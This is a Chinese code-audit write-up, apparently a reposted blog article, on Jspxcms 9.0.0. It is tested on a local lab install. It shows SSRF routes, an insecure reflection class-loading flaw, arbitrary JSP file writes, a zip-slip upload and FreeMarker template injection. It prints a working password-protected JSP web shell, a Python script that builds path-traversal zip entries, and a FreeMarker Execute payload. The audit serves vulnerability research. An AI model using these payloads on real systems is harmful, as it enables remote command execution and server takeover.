一、项目详细
1.1 项目介绍
1.2 使用技术
二、环境搭建
2.1 IDEA搭建
2.2 Tmocat搭建
三、漏洞挖掘
3.1 SSRF
3.1.1 第一处
3.1.2 第二处
3.2 不安全的反射
3.3 文件操作类
3.3.1 文件写入
3.3.2 文件上传
3.3 模板注入
四、心得
以下文章来源于菜狗安全 ,作者菜狗安全
免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
一、项目详细
1.1 项目介绍
Jspxcms 是一个开源的、基于 Java 的内容管理系统(CMS),技术上选择 JavaEE 行业主流、稳定的技术,适合二次开发、功能扩展、插件开发。
1.2 使用技术
后端技术
SpringBoot:提供了对Spring开箱即用的功能。简化了Spring配置,提供自动配置 auto-configuration功能。
Spring:是提供了IoC等功能,是目前最流行的Java企业级开发框架。
SpringMVC:MVC框架,使用方便,Bug较少。
JPA:持久化框架。属于JSR标准,JPA实现选择最常用的Hibernate。
SpringDataJPA:对JPA封装,大部分查询只需要在接口中写方法,而不需要实现改方法,极大开发效率。
QueryDSL:实现类型安全的JPA查询,使用对象及属性实现查询,避免编写jpql出现的拼错字符及属性名记忆负担。
FreeMarker:模板组件。
Shiro:安全组件。配置简便。
Lucene:全文检索组件。实现对中文的分词搜索。
Ehcache:缓存组件。主要用在JPA二级缓存、Shiro权限缓存。
Quartz:定时任务组件。
前端技术
jQuery:JavaScript库。
Bootstrap:响应式设计前端框架。
AdminLTE:后台管理平台开源框架。
jQuery UI:基于jQuery的UI框架。
jQuery Validation:基于jQuery的表单校验框架。
UEditor:Web富文本编辑器。
Editor.md:基于Markdown语法的Web文本编辑器。
ECharts:用于生成图标的组件。
My97DatePicker:日期组件。
zTree:树组件。
二、环境搭建
项目地址
https://www.ujcms.com/uploads/jspxcms-9.0.0-release.zip
我这里会演示IDEA和tomcat两种方式搭建,因为该系统的部分漏洞在不同生产环境利用会有所差异,也会详讲原因
2.1 IDEA
使用IDEA打开项目,等待maven加载
修改数据库配置文件中的数据库连接账号密码,再根据连接内容创建对应名称的数据库,导入数据库文件
数据导入完成后,就可以使用IDEA启动项目了,启动完成后访问http://127.0.0.1:8080
出现下面页面就搭建成功了
2.2 tmocat搭建
把源码下载到本地后,修改数据库配置文件,和IDEA启动前的配置一样,然后打包成war包,我这里用Maven打包
打包完成后会在target目录下生成war文件
把文件复制到tomcat的运行目录
运行tomcat,会生成jspxcms-9.0.0的目录,访问即可(注:tomcat需提前配置好环境变量)
也可以使用IDEA配置tomcat启动,都行,我这里也演示下
配置完启动即可
三、漏洞挖掘
3.1 SSRF
下面关键字是基于上述常用依赖整理出来的,通过关键字可快速定位是否使用了该依赖以及相关HTTP请求方法,具体逻辑还需根据实际代码分析
HttpRequest.get
HttpRequest.post
Jsoup.connect
getForObject
RestTemplate
postForObject
httpclient
execute
HttpClients.createDefault
httpasyncclient
HttpAsyncClients.createDefault
java.net.URLConnection
openConnection
java.net.HttpURLConnection
openStream
Socket
java.net.Socket
okhttp
OkHttpClient
newCall
ImageIO.read
javax.imageio.ImageIO
HttpRequest.get
jsoup
Jsoup.connect
RestTemplate
org.springframework.web.client.RestTemplate
3.1.1 第一处
在pom.xml搜索可能触发SSRF漏洞会使用到的库的时候发现导入的HttpClient依赖
那么就可能会用到它,全局搜索使用对应的关键词.execute(
一个个点进去分析,最后定位到jspxcms-9.0.0-release-src\src\main\java\com\jspxcms\ext\domain\Collect.java这个文件的fetchHtml方法
右键查找它的用法
一层层筛,最后定位到Controller层代码
这里前面还有一个上层路由
那么触发fetchHtml的路由就是/ext/collect/fetch_url.do
,参数是url
这个路由是后台的,要登入才能触发,那么这个漏洞的触发url就是
http://127.0.0.1:8080/cmscp/ext/collect/fetch_url.do?url=http://www.baidu.com
后面的url传入的就是我们请求的地址
3.1.2 第二处
全局搜索关键词openConnection,发现有使用到java.net.URLConnection
找到 com/jspxcms/core/web/back/UploadControllerAbstract.java文件下的ueditorCatchImage方法
还是一样的思路,看谁使用了它,以及参数是否可控
它这里URL包含的src是从source[]这个参数传进来的,记一下,往上找调用
两处调用,实际上这里两处都有,一个后台,一个前台,为了方便我这里就演示前台的
文件路径 com/jspxcms/core/web/fore/UploadController.java
查看使用
定位到上面的代码,我们要触发的是ueditorCatchImage,看他的条件,是action=catchimage,这个actions也是我们可控的,往上翻发现没有上层路由,那么这处漏洞点的触发路由就是/ueditor,参数1是action=catchimage,这样才会走到ueditorCatchImage,参数2是source[],需要往里面传请求url,那么漏洞触发的完整地址就是
http://127.0.0.1:8080/ueditor?action=catchimage&source[]=http://www.baidu.com
它这里请求正常会返回,请求错误会报错
可以使用dnslog平台验证
3.2 不安全的反射
搜索java反射关键词forname
优先看Controller层的文件定位到com/jspxcms/core/web/fore/CommentController.java这个文件,查看代码
参数是fname,看下这个参数是否可控
参数可控,下面有一个if判断,如果参数为空,fname赋值为com.jspxcms.core.domain.InfoComment这个不用管,因为我们肯定是要传值的。那么这里我们先创建一个执行计算器的类测试一下
public class TestController {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
创建完成后重启tomcat,把这个类加载进去,然后测试漏洞
访问路由是/comment_submit,直接访问参数会缺少参数,因为这只是一个接口,是别的功能点把数据转到这里的,根据单词翻译是提交评论的功能,找到前台提交评论的功能点,抓包。
然后加上fname参数,数据为我们构建的这个包com.jspxcms.core.web.back.TestController这是我创建的引用路径。
成功执行,那么接下来我们找一个上传点上传,他后台有一个上传文件的功能
注意这里只有使用tomcat启动才会有WEB-INF这个目录,把构造好的java文件编译成class,上传上去
编译命令:javac TestController.java
上传成功后同样的操作验证即可
3.3 文件操作类
3.3.1 文件写入
从上面我们发现后台存在文件操作类功能
发现他的jsp目录下有一个support_genuine.jsp文件,我们可以修改
访问发现可以解析jsp代码,那么我们直接插入执行命令的代码
接着访问jsp文件
我们根据修改文件的数据包的url地址,定位到对应代码段看看
跳转到upload的具体实现看下
可以看到代码中没有对文件内容进行检测,所以可以写入exec
3.3.2 文件上传
网站存在解压功能,在源码中搜索unzip关键字
定位到这个文件:com/jspxcms/core/web/back/SiteController.java
跳转到他的具体实现
代码中没看到有对压缩包中的文件名进行校验,我们可以放../../xxx.war
的文件实现跨目录
创建一个jsp
文件
<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getPara
meter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
然后打包成war
jar -cp 1.war 1.jsp
打包好后使用py脚本
进行打包zip
import zipfile
zip = zipfile.ZipFile('1.zip','w',zipfile.ZIP_DEFLATED)
with open('1.war','rb') as f:
data = f.read()
zip.writestr('../../../1.war',data)
zip.close()
生成好后上传文件
可以看到上传成功,我这里虽然是tomcat,但是是用IDEA启动的,没有指向webapps,所以他不会部署上传的1.war,要使用tomcat启动才行
这样就会部署我们上传的war
了,这种其实不太好
像我本地的环境,有多套系统,上传一个单一的jsp
,会出现没有解析环境的情况,还是上一处方便
3.3 模板注入
其实都是文件操作类,这套程序文件操作类都没写校验,通过修改文件内容达到注入执行命令
在代码中添加下面代码,保存
${"freemarker.template.utility.Execute"?new()("open -a Calculator")}
然后访问首页
心得
这里说一下我在挖掘过程中的想法,在手工审计的时候,关键字全局搜索是用的比较多的,但是我们可以发现定位可能存在漏洞的关键字过于多了,一个个搜索,过于繁琐比较花费时间,所以我这里提供一种思路,这个思路也同样适用于其它漏洞的挖掘
在JAVA网站中假设我们要写一个发送HTTP请求的功能,那么作为开发者,会使用到哪些java的接口
HttpClient
HttpAsyncClient
java.net.URLConnection
java.net.HttpURLConnection
java.net.URL
java.net.Socket
OkHttp
ImageIO
Hutool
Jsoup
RestTemplate
这些都是可以实现发送HTTP请求功能的接口,但是他们有一个区别
java.net.URLConnection
java.net.HttpURLConnection
java.net.URL
java.net.Socket
ImageIO
这几个库是java自带的,已经封装在JDK中了,不需要额外引入
HttpClient
HttpAsyncClient
OkHttp
Hutool
Jsoup
RestTemplate
而这几个不是自带的,如果要使用他们的话,需要添加maven依赖,拉取到本地
那么我们在挖掘SSRF漏洞的时候就可以优先在pom.xml文件中搜索这几个第三方库,就像上文中的第一个案例一样,发现有引入这个库,那么就有可能使用它,再去全局搜索这个库发送请求的关键字,定位代码,如果没有引入,那就没有搜索对应关键字的必要了,你本地都没有这个库,咋可能会使用到,搜索出来的关键字也是其它库的,这样就可以筛掉很大一部分关键字,正常情况下没有开发会导入一大堆可以实现相同功能的库,又不是做测试,师傅们审计的系统肯定也是成品源码,不会出现这种情况
筛掉第三方库的关键字后,再慢慢搜索自带库的关键字,这样就不会出现,项目没有使用这个库,还去搜索对应关键字的情况了。浪费时间
最后
这套源码其实有一点我没有搞清楚,就是它的路由,后台的漏洞路由是没有/cmscp
这一段路由的,所以就导致我在挖掘的过程中路由访问出错。
看了别人的审计过程,也没有说路由的问题,只是说是后台功能点所以要加上/cmscp
也不清楚是在哪里配置的,问了很多人,有个大佬跟我说是springboot的配置文件中配置的,是这一处
还是基础差,一点点补吧,共勉!!!
标签:文件,java,JspxCMS,com,jspxcms,关键字,JAVA,net,9.0 From: https://www.cnblogs.com/o-O-oO/p/18622176